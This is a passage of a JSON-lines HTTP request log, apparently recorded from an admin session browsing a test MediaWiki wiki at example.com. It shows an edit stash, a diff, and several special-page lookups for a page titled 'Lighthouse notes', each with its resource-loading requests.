name=\"wpEditToken\"\r\n\r\nec92de021bd867b1b27bd21302692bdb6af22673+\\\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 300", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+Lighthouse&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=4&stashedtexthash=eb81fc5c1cf6d6470aa55f9d570214ebdb5c90c0&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=codex-styles%7Cjquery.tablesorter.styles%7Cmediawiki.diff.styles%7Cmediawiki.helplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cdiff%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=11u0n", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&diff=cur&oldid=prev", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.helplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=info", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Ctoc%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=ub1um", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=info", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1y0cw", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:WhatLinksHere&target=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:AllPages&from=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=Lighthouse&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.DateInputWidget%2CUserInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=wq4ro", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Log&user=Admin&page=Lighthouse+notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Contributions&target=Admin", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.makeCollapsible.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.feedlink%2Chelplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.special.changeslist%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Contributions&target=Admin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui%2Coojs-ui-core%2Coojs-ui-toolbars%2Coojs-ui-widgets%2Coojs-ui-windows%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.contributions%7Cmediawiki.widgets.DateInputWidget%2CUserInputWidget%7Coojs-ui-toolbars.icons%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=niqrs", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Contributions&target=Admin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=135lg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:ListFiles&ilsearch=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.pager.styles/images/arrow-sort-descending.svg?855ba", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=ycdpp", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+Lighthouse.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2FLighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:LinkSearch&target=example.com%2FLighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListUsers&username=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:MIMESearch&mime=image%2Fpng", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
